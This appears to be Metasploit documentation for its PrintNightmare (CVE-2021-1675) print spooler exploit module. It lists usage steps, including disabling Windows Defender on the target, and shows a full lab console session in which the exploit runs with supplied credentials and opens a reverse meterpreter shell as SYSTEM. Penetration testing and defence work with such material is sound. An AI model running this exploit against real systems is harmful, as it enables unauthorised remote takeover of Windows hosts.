## Vulnerable Application
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC
request, resulting in remote code execution as NT AUTHORITY\SYSTEM.

## Verification Steps

1. Disable Windows security options on the target
    1. Disable Windows Defender Real-time protection (Windows Security > Virus & threat protection > Virus & threat protection settings)
    1. Disable Windows Defender SmartScreen (Windows Security > Virus & threat protection > App & browser control)

1. Exploit the vulnerability to force the target to load the DLL payload
    1. From msfconsole
    1. Do: `use exploit/windows/dcerpc/cve_2021_1675_printnightmare`
    1. Set the `RHOSTS` values
    1. Set the `SMBUser` and `SMBPass` values
    1. Set the `PAYLOAD` and related values
    1. Run the module

## Options

### ReconnectTimeout
*This is an advanced option.*

The timeout in seconds for reconnecting to the named pipe.

While exploiting the vulnerability, it is common for the named pipe connection to be closed. This option specifies a
delay in seconds to wait before reconnecting to the service. A delay that is too short may fail with
`STATUS_OBJECT_NAME_NOT_FOUND`.

## Scenarios

### Windows Server 2019

```
msf > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBUser aliddle
SMBUser => aliddle
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBPass Password1
SMBPass => Password1
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] 192.168.159.96:445 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.159.96:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.159.96:445 - Enumerating the installed printer drivers...
[*] 192.168.159.96:445 - Retrieving the path of the printer driver directory...
[+] 192.168.159.96:445 - The target is vulnerable. Received ERROR_BAD_NET_NAME, implying the target is vulnerable.
[*] 192.168.159.96:445 - Server is running. Listening on 192.168.250.134:445
[*] 192.168.159.96:445 - Server started.
[*] 192.168.159.96:445 - The named pipe connection was broken, reconnecting...
[*] 192.168.159.96:445 - Successfully reconnected to the named pipe.
[*] Sending stage (200774 bytes) to 192.168.250.237
[*] 192.168.159.96:445 - The named pipe connection was broken, reconnecting...
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:61984) at 2022-05-16 17:42:19 -0400
[*] 192.168.159.96:445 - Server stopped.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-3MSP8K2LCGC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 7
Meterpreter     : x64/windows
meterpreter > 
```
